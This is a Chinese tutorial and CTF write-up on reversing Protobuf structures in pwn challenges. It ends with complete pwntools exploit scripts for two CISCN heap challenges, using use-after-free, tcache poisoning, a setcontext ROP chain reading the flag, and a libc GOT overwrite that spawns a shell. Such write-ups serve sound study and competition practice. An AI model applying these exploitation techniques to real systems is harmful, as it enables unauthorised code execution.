深入二进制安全:全面解析Protobuf

前言

近两年,Protobuf结构体与Pwn结合的题目越来越多。

23年和24年Ciscn都出现了Protobuf题目,24年甚至还出现了2道。

与常规的Pwn题利用相比,只是多套了一层Protobuf的Unpack操作。

本文包含Protobuf环境安装相关语法编译运行以及pb结构逆向例题实战,实现从0基础到进阶。

简介

Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通信协议等方面。

常用于跨平台和异构系统中进行RPC调用,序列化和反序列化效率高且体积比XML和JSON小得多,非常适合网络传输。

为了能够和程序进行交互,我们需要先逆向分析得到Protobuf结构体,然后构造序列化后的Protobuf与程序进行交互。

安装

protobuf

官方GitHub地址:https://github.com/protocolbuffers/protobuf

需要安装 Protobuf运行时协议编译器(用于编译.proto文件)

下载Protobuf项目(不要下载版本太高的,否则后面的protobuf-c无法安装):

wget https://github.com/protocolbuffers/protobuf/releases/download/v3.6.1/protobuf-cpp-3.6.1.tar.gz

解压并进入Protobuf目录:

tar -xzvf protobuf-cpp-3.6.1
cd protobuf-3.6.1

配置、编译并安装

./configure
make
sudo make install

此时,输入protoc命令会报错:

➜  protobuf-3.6.1 protoc --version                                                                         protoc: error while loading shared libraries: libprotoc.so.17: cannot open shared object file: No such file or directory

原因是因为probuf默认安装路径是/usr/local/lib,而在Ubuntu中这个路径不在LD_LIBRARY_PATH 中。

因此,需要在/usr/lib中创建软连接:

cd /usr/lib
sudo ln -s /usr/local/lib/libprotoc.so.17 libprotobuf.so.17
sudo ln -s /usr/local/lib/libprotoc.so.17 libprotoc.so.17

再次输入protoc命令,发现正常打印版本号:

➜  tools protoc --version
libprotoc 3.6.1

protobuf-c

Protobuf官方支持C++、C#、Dart、Go、Java、Kotlin、Python等语言,但是不支持C语言。

而CTF中的Pwn题通常由C语言编写,这就用到了一个第三方库 protobuf-c

Github项目地址:https://github.com/protobuf-c/protobuf-c

下载Protobuf-c项目:https://github.com/protobuf-c/protobuf-c/releases

进入Protobuf-c目录配置、编译并安装:

tar -xzvf protobuf-c.tar.gz
cd protobuf-c
./configure && make
sudo make install

基本语法

先来看一个官方文档给出的例子:

// demo.proto
syntax = "proto3";

package tutorial;

message Person {
  string name = 1;
  int32 id = 2;
  string email = 3;

  enum PhoneType {
    PHONE_TYPE_UNSPECIFIED = 0;
    PHONE_TYPE_MOBILE = 1;
    PHONE_TYPE_HOME = 2;
    PHONE_TYPE_WORK = 3;
  }

  message PhoneNumber {
    string number = 1;
    PhoneType type = 2;
  }

  repeated PhoneNumber phones = 4;
}

message AddressBook {
  repeated Person people = 1;
}

syntax

syntax指明protobuf的版本,有proto2和proto3两个版本,省略默认为proto2。

syntax = "proto2";
syntax = "proto3";

package

package可以防止命名空间冲突,简单的项目中可以省略。

package tutorial;

message

message用于定义消息结构体,类似C语言中的struct。

每个字段包括修饰符 类型 字段名,并且末尾通过等号设置唯一字段编号

修饰符包括如下几种:

  • optional:可以不提供字段值,字段将被初始化为默认值。(Proto3中不允许显示声明,不加修饰符即optional)
  • repeated:类似vector,表明该字段为动态数组,可重复任意次。
  • required:必须提供字段值。(Proto3不再支持required)

常见的基本类型:

  • bool
  • in32
  • float
  • double
  • string

编译

可以通过如下命令编译proto文件:

protoc -I=$SRC_DIR --c_out=$DST_DIR $SRC_DIR/demo.proto
  • -I=$SRC_DIR用于指定源码目录,默认使用当前目录。
  • –cpp_out=$DST_DIR用于指定目标代码存放位置。

因此,以上命令也可以简化为:

protoc --c_out=. demo.proto

这会编译生成以下两个文件:

  • demo.pb-c.h:类的声明。
  • demo.pb-c.c:类的实现。

CTF题目通常为C语言编写,因此为了后续逆向工作,需要理解编译后的C语言文件相关结构。

如果想要编译为Python代码,用如下命令(在CTF中通常编译为Python代码以在脚本中与程序交互):

protoc --python_out=. demo.proto

会生成 demo_pb2.py。(pb2后缀只是为了和protobuf1区分)

使用

引入

可以直接在Python中import后调用:

import demo_pb2

person = demo_pb2.Person()
person.id = 1234
person.name = "John Doe"
person.email = "jdoe@example.com"

phone = person.phones.add()
phone.number = "555-4321"
phone.type = demo_pb2.Person.PHONE_TYPE_HOME

序列化与反序列化

可以通过 SerializeToString序列化ParseFromString反序列化

# Write the new address book back to disk.
with open(sys.argv[1], "wb") as f:
  f.write(demo_pb2.SerializeToString())
demo = demo_pb2.AddressBook()

# Read the existing address book.
try:
  with open(sys.argv[1], "rb") as f:
    demo_pb2.ParseFromString(f.read())
except IOError:
  print(sys.argv[1] + ": Could not open file.  Creating a new one.")

逆向分析

Protobuf关键结构体

在生成的demo-pb-c.c文件中,可以发现存在unpack函数:

Tutorial__AddressBook * tutorial__address_book__unpack(ProtobufCAllocator *allocator, size_t len, const uint8_t *data)
{
  return (Tutorial__AddressBook *)
     protobuf_c_message_unpack (&tutorial__address_book__descriptor,
                                allocator, len, data);
}

这个反序列化函数传入描述消息结构体数据descriptor。我们可以在IDA中分析descriptor还原消息结构体。

Descriptor结构体

Descriptor定义如下:

struct ProtobufCMessageDescriptor {
	/** Magic value checked to ensure that the API is used correctly. */
	uint32_t			magic;

	/** The qualified name (e.g., "namespace.Type"). */
	const char			*name;
	/** The unqualified name as given in the .proto file (e.g., "Type"). */
	const char			*short_name;
	/** Identifier used in generated C code. */
	const char			*c_name;
	/** The dot-separated namespace. */
	const char			*package_name;

	/**
	 * Size in bytes of the C structure representing an instance of this
	 * type of message.
	 */
	size_t				sizeof_message;

	/** Number of elements in `fields`. */
	unsigned			n_fields;
	/** Field descriptors, sorted by tag number. */
	const ProtobufCFieldDescriptor	*fields;
	/** Used for looking up fields by name. */
	const unsigned			*fields_sorted_by_name;

	/** Number of elements in `field_ranges`. */
	unsigned			n_field_ranges;
	/** Used for looking up fields by id. */
	const ProtobufCIntRange		*field_ranges;

	/** Message initialisation function. */
	ProtobufCMessageInit		message_init;

	/** Reserved for future use. */
	void				*reserved1;
	/** Reserved for future use. */
	void				*reserved2;
	/** Reserved for future use. */
	void				*reserved3;
};

我们需要关注的有几个重要字段:

  • magic:通常为0x28AAEEF9。
  • n_fields:结构体中的字段数量。
  • fields:指向一个储存字段和数据的结构体。

fields是ProtobufCFieldDescriptor类型。

ProtobufCFieldDescriptor结构体

我们看一下它的定义:

struct ProtobufCFieldDescriptor {
	/** Name of the field as given in the .proto file. */
	const char		*name;

	/** Tag value of the field as given in the .proto file. */
	uint32_t		id;

	/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
	ProtobufCLabel		label;

	/** The type of the field. */
	ProtobufCType		type;

	/**
	 * The offset in bytes of the message's C structure's quantifier field
	 * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
	 * for repeated members or the case enum for oneofs).
	 */
	unsigned		quantifier_offset;

	/**
	 * The offset in bytes into the message's C structure for the member
	 * itself.
	 */
	unsigned		offset;

	/**
	 * A type-specific descriptor.
	 *
	 * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
	 * corresponding `ProtobufCEnumDescriptor`.
	 *
	 * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
	 * the corresponding `ProtobufCMessageDescriptor`.
	 *
	 * Otherwise this field is NULL.
	 */
	const void		*descriptor; /* for MESSAGE and ENUM types */

	/** The default value for this field, if defined. May be NULL. */
	const void		*default_value;

	/**
	 * A flag word. Zero or more of the bits defined in the
	 * `ProtobufCFieldFlag` enum may be set.
	 */
	uint32_t		flags;

	/** Reserved for future use. */
	unsigned		reserved_flags;
	/** Reserved for future use. */
	void			*reserved2;
	/** Reserved for future use. */
	void			*reserved3;
};

我们需要关注的有:

  • name:字段名。
  • id:唯一字段编号。
  • label:修饰符,如:required、optional、repeated。
  • type:数据类型,如:bool、int32、float、double等。

label和type

label和type都是枚举类型,我们看一下它的定义:

typedef enum {
	/** A well-formed message must have exactly one of this field. */
	PROTOBUF_C_LABEL_REQUIRED,

	/**
	 * A well-formed message can have zero or one of this field (but not
	 * more than one).
	 */
	PROTOBUF_C_LABEL_OPTIONAL,

	/**
	 * This field can be repeated any number of times (including zero) in a
	 * well-formed message. The order of the repeated values will be
	 * preserved.
	 */
	PROTOBUF_C_LABEL_REPEATED,

	/**
	 * This field has no label. This is valid only in proto3 and is
	 * equivalent to OPTIONAL but no "has" quantifier will be consulted.
	 */
	PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;
typedef enum {
	PROTOBUF_C_TYPE_INT32,      /**< int32 */
	PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
	PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
	PROTOBUF_C_TYPE_INT64,      /**< int64 */
	PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
	PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
	PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
	PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
	PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
	PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
	PROTOBUF_C_TYPE_FLOAT,      /**< float */
	PROTOBUF_C_TYPE_DOUBLE,     /**< double */
	PROTOBUF_C_TYPE_BOOL,       /**< boolean */
	PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
	PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
	PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
	PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

Protbuf结构体逆向(以2023ciscn-talkbot为例)

有了上面关于Descriptor的基础知识后,我们尝试在IDA中对protobuf结构体进行逆向。

ciscn2023-talkbot为例,拖入IDA分析:

image-20240618163032719

发现将输入传入protobuf_unpack函数处理后,将处理后的结果传递给真正的主函数。

分析Descriptor结构体

我们直接搜索0x28AAEEF9,定位到Descriptor结构体:

image-20240618164037663

而根据我们对Descriptor结构体定义分析:

  • name为devicemsg。
  • 结构体大小为0x40。
  • 字段数为4。

分析ProtobufCFieldDescriptor结构体

然后,我们根据ProtobufCFieldDescriptor指针找到字段位置:

image-20240618182051126

第一个为字段名actionid,后面的1、0、4分别为id、label和type。

id为1,而label和type查阅enum定义后发现是required和sint64。

其它字段同理,不再一一分析。

这里需要注意如何区分程序用的是proto2还是3。

在proto3中,删除了字段的默认值,因此ProtobufCFieldDescriptor结构体中没有了default_value字段。

可以根据逆向后字段的数量来判断题目用的proto版本。例如,这道题目就是proto2。

还原消息结构体

经过上述分析得到如下定义:

syntax = "proto2";

message devicemsg {
  required sint64 actionid = 1;
  required sint64 msgidx = 2;
  required sint64 msgsize = 3;
  required bytes msgcontent = 4;
}

有了结构体,我们继续分析程序。

image-20240618171217537

发现调用对象时,是从下标3开始,而不是从0开始的,这是为什么呢?

因为我们还原的结构体还没经过编译,我们可以编译后查看这个结构体:

protoc --c_out=. device.proto

查看编译后的头文件:

struct  Devicemsg
{
  ProtobufCMessage base;
  int64_t actionid;
  int64_t msgidx;
  int64_t msgsize;
  ProtobufCBinaryData msgcontent;
};

发现在结构体的头部多了一个ProtobufCMessage类型的变量,查看一下这个类型的定义:

struct ProtobufCMessage {
	/** The descriptor for this message type. */
	const ProtobufCMessageDescriptor	*descriptor;
	/** The number of elements in `unknown_fields`. */
	unsigned				n_unknown_fields;
	/** The fields that weren't recognized by the parser. */
	ProtobufCMessageUnknownField		*unknown_fields;
};

它存储这个结构体的一些关键信息,比如Descriptor和未识别的字段。

ProtobufCMessage的大小为24字节,因此我们自己定义的字段下标应该是从3开始。

那为什么会多出一个参数呢?

查看编译后的代码发现,bytes类型被替换为了ProtobufCBinaryData类型,看一下它的定义:

struct ProtobufCBinaryData {
	size_t	len;        /**< Number of bytes in the `data` field. */
	uint8_t	*data;      /**< Data bytes. */
};

它包括8字节的长度和8字节的数据部分,因此IDA识别时会多出一个参数。

主函数逆向分析

反序列化后,将明文参数传递给真正的函数执行。

这部分和Protobuf就无关了,如果不想看可以直接跳过。

主函数:

image-20240618174750596

经典的菜单函数,提供增删改查功能,逐个分析。

add函数:

image-20240618174511881

可以申请最多0x20个不超过0x100大小chunk,并且申请的size不能小于输入的内容长度。

delete函数:

image-20240618174940794

指针置零时用错了变量,存在UAF漏洞。

edit函数:

image-20240618174958618

正常edit,不存在漏洞。

show函数:

image-20240618175122231

正常show,不存在漏洞。

利用思路

题目给glibc为2.31版本,最多申请0x20个不超过0x100大小的chunk,并且存在UAF漏洞。

image-20240619093503742

发现存在沙箱限制了execve函数,可以考虑tcache posioning改__free_hook -> rdi转rdx寄存器gadget -> setcontext+61打orw。

本篇文章主要讲Protobuf,关于Setcontext打orw相关知识可以自行查阅相关资料,不再赘述。

关键是我们如何和程序进行交互呢?我们不能和传统题目一样通过scanf、read交互,而是构造序列化后的数据来交互。

Protobuf交互

首先,我们将之前还原出来的proto代码编译为Python代码:

protoc --python_out=. device.proto

得到device_pb2.py文件。我们需要做的就是在exp调用这个模块对payload进行序列化。

以add函数为例,创建结构体对象后设置字段,最后调用SerializeToString函数序列化,其它同理:

from pwn import *
import device_pb2

elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(index, size, content):
    msg = device_pb2.devicemsg()
    msg.actionid = 1
    msg.msgidx = index
    msg.msgsize = size
    msg.msgcontent = content
    p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())


gdb.attach(p)
pause()

add_chunk(0, 0x68, b'a' * 0x68)


# gdb.attach(p)
# pause()

p.interactive()

根据利用思路编写exp如下:

from pwn import *
import Device_pb2

elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(index, size, content):
    msg = Device_pb2.devicemsg()
    msg.actionid = 1
    msg.msgidx = index
    msg.msgsize = size
    msg.msgcontent = content
    p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())


def edit_chunk(index, content):
    msg = Device_pb2.devicemsg()
    msg.actionid = 2
    msg.msgidx = index
    msg.msgsize = len(content)
    msg.msgcontent = content
    p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())


def show_chunk(index):
    msg = Device_pb2.devicemsg()
    msg.actionid = 3
    msg.msgidx = index
    msg.msgsize = 7
    msg.msgcontent = b'useless'
    p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())


def delete_chunk(index):
    msg = Device_pb2.devicemsg()
    msg.actionid = 4
    msg.msgidx = index
    msg.msgsize = 7
    msg.msgcontent = b'useless'
    p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())


# leak libc
for i in range(8):
    add_chunk(i, 0x98, b'a' * 0x10)

for i in range(7):
    delete_chunk(6 - i)

delete_chunk(7)

show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# leak heap
show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))

# tcache poisoning
free_hook = libc.sym['__free_hook']
edit_chunk(0, p64(free_hook))
add_chunk(8, 0x98, b'b' * 0x10)
add_chunk(9, 0x98, b'c' * 0x10)

# setcontext+61
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x70
frame_addr = heap_base + 0x1150

payload = b''
payload += p64(next(libc.search(asm('mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x70, b'\x00')
payload += b'./flag\x00'

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
frame = bytearray(bytes(frame))
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = frame[:0xb8]

add_chunk(10, 0xf0, bytes(frame))           # frame
edit_chunk(9, payload)                      # __free_hook -> gadget
edit_chunk(8, b'a' * 8 + p64(frame_addr))   # frame_addr

# gdb.attach(p, "b __libc_free\nc")
# pause()

delete_chunk(8)


p.interactive()

例题-ciscn2024-ezbuf

还原Protobuf结构体

根据magic:0x28AAEEF9找到Protobuf结构体:

image-20240619125811136

消息结构体名称为heybro,继续分析字段:

image-20240619130207459

还原出如下结构体:

syntax "proto2"

message heybro {
	required bytes whatcon = 1;
	required sint64 whattodo = 2;
	required sint64 whatidx = 3;
	required sint64 whatsize = 4;
	required uint32 whatsthis = 5;
}

分析主函数

main

分析main函数:

image-20240619130808687

将6个变量传入realMain,分别是wahtcon、wahtcon_len、whattodo、whatidx、whatsize、whatsthis,且每次输入都malloc0x200。

Init

image-20240619140517616

初始化函数,设置沙箱保护,但是最后没调用seccomp_load函数,所以沙箱无效。

并让全局变量buf指向申请的0x420大小的chunk,然后再申请一个0x420大小的chunk。

nop

当whattodo为0时为nop空函数:

image-20240619131131199

add

当whattodo为1时,执行add函数:

image-20240619131233330

add函数最多申请9个0x40大小的chunk。

delete

当whattodo为2时,执行delete函数:

image-20240619131434647

最多可以使用10次delete函数,存在UAF漏洞。

show

当whattodo为3时,执行show:

image-20240619180312543

可以调用3次该函数,并且如果设置whatsthis为\xff,会先调用seccomp_load。(显示不是我们想要的)

如果设置size为0x30,会调用strtok。也就是说题目提供了两个进入strtok的机会,这里可疑,可能有利用点。

利用思路

程序保护全开,能够free10次,填满tcache后,剩余3次chunk可以完成一次double free,即构造一次任意地址写。

具体做法:

初始状态bin中有剩余的small bin,申请一个chunk会在small bin切割并残留fd指针指向libc,直接打印可以泄露libc地址:

# leak libc
add_chunk(0, b'a')
show_chunk(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ac61
libc.address = libc_base
success("libc_base = " + hex(libc_base))

然后填满tcache,泄露heap地址:

# leak heap
add_chunk(1, b'b')  # clear tcache
for i in range(7 + 2):
    add_chunk(i, b'tcache')

for i in range(7):
    delete_chunk(6 - i)

show_chunk(6)
p.recvuntil(b'Content:')
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
heap_base = heap_base - 0x5000
success("heap_base = " + hex(heap_base))

最后,通过double free + tcache stash unlink完成一次任意地址写:

  1. free填满tcache,chunk0 -> chunk1 … -> chunk6。
  2. 在fastbin中完成double free,chunk7 -> chunk8 -> chunk7。
  3. 将tcache中的chunk全部申请回来,然后申请chunk7,此时会进行tcache stash unlink,即把后续的chunk8和chunk7放到tcache中。此时tcache中:chunk8 -> chunk7。如果申请chunk7时候写入数据即可修改fd指针。

2.35版本libc,没有各种hook。查看保护情况,发现libc没有开启RELRO保护,考虑修改libc的got表。

查看libc中的strtok函数调用了strspn函数,将这个函数修改为system函数完成利用即可。

image-20240619175434582

这里说一下如何计算strspn函数got表地址,先将题目patch到本地有符号的libc中,然后vmmap查看libc:

image-20240619175601798

最后面这个带有可写权限的即got表存储的地方,发现这个函数偏移量是0x58:

image-20240619175733048

换回题目给的libc,即可计算出该函数got表地址,要注意tcache需要地址0x10对齐。

delete_chunk(7)
delete_chunk(8)
delete_chunk(7)
for i in range(7):
    add_chunk(i, b't')
one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
target = ((heap_base + 0x5410) >> 12) ^ (libc_base + 0x21a050)
add_chunk(7, p64(target))
add_chunk(7, b'useless')
add_chunk(7, b'useless')
add_chunk(7, p64(libc_base + 0x2c080) + p64(libc.sym['system']))

设置size为0x30即可触发strtok,参数为content。还需要注意的是,直接传入/bin/sh\x00会出问题。

猜测可能是因为序列化后所有字符都是相邻的,所以在最前面任意加个字符和分号,然后传/bin/sh\x00没问题。

image-20240619180046579

exp

from pwn import *
import Heybro_pb2

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(index, content):
    heybro = Heybro_pb2.heybro()
    heybro.whattodo = 1
    heybro.whatidx = index
    heybro.whatsize = 0
    heybro.whatcon = content
    heybro.whatsthis = 0
    p.sendafter(b'WANT?\n', heybro.SerializeToString())


def delete_chunk(index):
    heybro = Heybro_pb2.heybro()
    heybro.whattodo = 2
    heybro.whatidx = index
    heybro.whatsize = 0
    heybro.whatcon = b''
    heybro.whatsthis = 0
    p.sendafter(b'WANT?\n', heybro.SerializeToString())


def show_chunk(index):
    heybro = Heybro_pb2.heybro()
    heybro.whattodo = 3
    heybro.whatidx = index
    heybro.whatsize = 0
    heybro.whatcon = b''
    heybro.whatsthis = 0
    p.sendafter(b'WANT?\n', heybro.SerializeToString())


def shell():
    heybro = Heybro_pb2.heybro()
    heybro.whattodo = 3
    heybro.whatidx = 3
    heybro.whatsize = 0x30
    heybro.whatcon = b'a;' + b'/bin/sh\x00'
    heybro.whatsthis = 0
    p.sendafter(b'WANT?\n', heybro.SerializeToString())


# leak libc
add_chunk(0, b'a')
show_chunk(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ac61
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# leak heap
add_chunk(1, b'b')  # clear tcache
for i in range(7 + 2):
    add_chunk(i, b'tcache')

for i in range(7):
    delete_chunk(6 - i)

show_chunk(6)
p.recvuntil(b'Content:')
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
heap_base = heap_base - 0x5000
success("heap_base = " + hex(heap_base))

# double free + tcache stash unlink
delete_chunk(7)
delete_chunk(8)
delete_chunk(7)
for i in range(7):
    add_chunk(i, b't')
one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
target = ((heap_base + 0x5410) >> 12) ^ (libc_base + 0x21a050)
add_chunk(7, p64(target))
add_chunk(7, b'useless')
add_chunk(7, b'useless')
add_chunk(7, p64(libc_base + 0x2c080) + p64(libc.sym['system']))

# gdb.attach(p)
# pause()

shell()

p.interactive()

附件下载

关注vx公众号【Real返璞归真】回复【protobuf】获取题目下载地址。

image-20240619182428059

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/723923.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【吊打面试官系列-Mysql面试题】Myql 中的事务回滚机制概述 ?

大家好&#xff0c;我是锋哥。今天分享关于 【Myql 中的事务回滚机制概述 ?】面试题&#xff0c;希望对大家有帮助&#xff1b; Myql 中的事务回滚机制概述 ? 事务是用户定义的一个数据库操作序列&#xff0c;这些操作要么全做要么全不做&#xff0c;是一个不可分割的工作单位…

keil MDK自动生成带版本bin文件

作为嵌入式单片机开发&#xff0c;在Keil MDK&#xff08;Microcontroller Development Kit&#xff09;中开发完编译完后&#xff0c;经常需要手动进行版本号添加用于发版&#xff0c;非常麻烦&#xff0c;如果是对外发行的话&#xff0c;更容易搞错&#xff0c;特此码哥提供一…

汉化版PSAI全面测评,探索国产AI绘画软件的创新力量

引言 随着AI技术的飞速发展&#xff0c;图像处理和绘画领域迎来了新的变革。作为一名AIGC测评博主&#xff0c;今天我们测评的是一款国产AI绘画软件——StartAI&#xff0c;一句话总结&#xff1a;它不仅在技术上毫不逊色于国际大牌&#xff0c;更在用户体验和本地化服务上做到…

自研一套带双向认证的Android通用网络库

当前&#xff0c;许多网络库基于Retrofit或OkHttp开发&#xff0c;但实际项目中常需要定制化&#xff0c;并且需要添加类似双向认证等安全功能。这意味着每个项目都可能需要二次开发。那么&#xff0c;有没有一种通用的封装方式&#xff0c;可以满足大多数项目需求&#xff1f;…

ABAP-03基础数据类型

基本数据类型 数据类型默认大小&#xff08;byte&#xff09;有效大小初始值说明示例C11-65535SPACE文本字符&#xff08;串&#xff09;‘Name’N11-65535‘00…0’数字文本‘0123’T66‘000000’时间(HHMMSS)‘123010’D88‘00000000’日期(yyyymmdd)‘20090901’I4-231~232…

win 打包java项目为exe一键部署,包括mysql和redis

需求&#xff1a;打包springboot项目在win系统下执行&#xff0c;并且要一键部署和开机启动 把所需的程序放在同一个文件夹 1.jdk文件夹&#xff1a;自己去下载&#xff0c;jdk8的话拿jre目录好了 2.mysql文件夹&#xff1a;是8.0.36版&#xff0c;270M精简版了 3.redis文件夹…

第58章SOCKET:TCP/IP网络基础

58.1 互联网 互联网会将不同的计算机网络连接起来并允许位于网络中的主机相互之间进行通信。互联网的目标是隐藏不同物理网络的细节以便向互联网中的所有主机呈现一个统一的网络架构&#xff0c;TCP/IP已经成了使用最为广泛的协议套件了&#xff0c; 术语Internet被用来指将全球…

智能语音新革命:有道与Azure的API服务对决

在当今技术飞速发展的时代&#xff0c;API&#xff08;应用程序接口&#xff09;已经成为连接不同软件和服务的桥梁。无论是开发移动应用、构建网页服务&#xff0c;还是实现物联网设备的互联互通&#xff0c;API都在其中扮演着不可或缺的角色。随着市场上各种API接口的涌现&am…

【Linux】—MySQL安装

文章目录 前言一、下载官方MySQL包二、下载完成后&#xff0c;通过xftp6上传到Linux服务器上三、解压MySQL安装包四、在安装目录下执行rpm安装&#xff0c;请按顺序依次执行。五、配置MySQL六、启动MySQL数据库七、退出&#xff0c;重新登录数据库 前言 本文主要介绍在Linux环境…

Linux系统编程——网络编程

目录 一、对于Socket、TCP/UDP、端口号的认知&#xff1a; 1.1 什么是Socket&#xff1a; 1.2 TCP/UDP对比&#xff1a; 1.3 端口号的作用&#xff1a; 二、字节序 2.1 字节序相关概念&#xff1a; 2.2 为什么会有字节序&#xff1a; 2.3 主机字节序转换成网络字节序函数…

Kantana和The Sandbox联手打造元宇宙娱乐的未来

The Sandbox 是一个开创性的元宇宙、游戏和创作平台&#xff0c;泰国领先的娱乐公司 Kantana 很高兴地宣布双方将建立合作关系&#xff0c;共同打造元宇宙娱乐的未来。 此次合作结合了 Kantana 引以为傲的故事讲述专长和The Sandbox 的用户生成内容 (UGC) 工具&#xff0c;创建…

若依框架自定义开发使用学习笔记(1)

因为我是跳着学的&#xff0c;原理那些都没咋看。 代码自动生成&#xff0c;依赖sql表 在ruoyi数据库中&#xff0c;创建你想要的表&#xff0c;这里我创建了个购物车表&#xff0c;由于空间有限&#xff0c;只能拍到这么多。 然后就可以在前端自动生成代码 点击导入按钮 …

家庭财务新助手,记录收支明细,一键导出表格,让您的家庭财务一目了然!

在繁忙的现代生活中&#xff0c;家庭财务管理常常成为一项令人头疼的任务。如何记录每一笔收支&#xff0c;如何清晰地掌握家庭财务状况&#xff0c;如何合理规划未来开支&#xff0c;这些都是我们需要面对的问题。然而&#xff0c;有了这款家庭财务助手——晨曦记账本&#xf…

入侵检测系统(IDS)

入侵检测 入侵检测&#xff08;Intrusion Detection&#xff09;是指发现或确定入侵行为存在或出现的动作&#xff0c;也就是发现、跟踪并记录计算机系统或计算机网络中的非授权行为&#xff0c;或发现并调查系统中可能为视图入侵或病毒感染所带来的异常活动。 入侵检测系统 …

【案例分析】一文讲清楚SaaS产品运营的六大杠杆是什么?具体怎么运用?

在SaaS&#xff08;软件即服务&#xff09;行业&#xff0c;如何快速获取用户并实现持续增长一直是企业关注的重点。近年来&#xff0c;分销裂变策略因其高效性和低成本特性&#xff0c;成为许多SaaS企业实现快速增长的秘诀。下面&#xff0c;我们将通过一个具体的案例来剖析成…

大语言模型的昨天、今天和明天

引言 近年来&#xff0c;人工智能&#xff08;AI&#xff09;技术突飞猛进&#xff0c;其中大语言模型&#xff08;LLM&#xff09;无疑是最引人瞩目的技术之一。从OpenAI的GPT系列到Meta的Llama模型&#xff0c;大语言模型的发展不仅改变了人们对AI的认知&#xff0c;也在各行…

智慧体育场馆:视频孪生引领体育场馆智能化

随着数字经济时代的发展&#xff0c;技术的迭代跃迁加速了体育场馆运营革新的步调&#xff0c;在技术赋能理念的驱动下&#xff0c;体育场馆逐步由复合化发展姿态&#xff0c;升级为物联感知式的智能场馆&#xff0c;并迈向了智慧体育场馆的发展之路。《“十四五”时期全民健身…

怎么移除pdf文件编辑限制,有哪些方法?

PDF是我们在学习或工作中常常应用到的一种文件格式&#xff0c;因为它的跨平台性和文档保真度而备受欢迎。但是&#xff0c;有时我们会遇到PDF编辑权限被限制了&#xff0c;那么pdf解除编辑限制可以用什么方法呢&#xff1f;别急&#xff0c;接下来&#xff0c;本文将深入探讨如…

头歌资源库(12)找第K小数

一、 问题描述 二、算法思想 可以使用快速排序算法来解决这个问题。 首先&#xff0c;选择一个基准元素&#xff0c;通常选择序列的第一个元素。 然后&#xff0c;将序列中小于等于基准元素的元素放在基准元素的左边&#xff0c;大于基准元素的元素放在基准元素的右边。 接着…

哪里可以姓名设计免费签名?6个软件帮助你轻松设计签名

哪里可以姓名设计免费签名&#xff1f;6个软件帮助你轻松设计签名 这里有六个免费的软件和在线工具可以帮助您设计个性化的签名&#xff1a; 1.一键logo设计&#xff1a;这是一个功能强大且易于使用的设计工具&#xff0c;提供了丰富的签名设计模板和各种字体效果供选择。您可…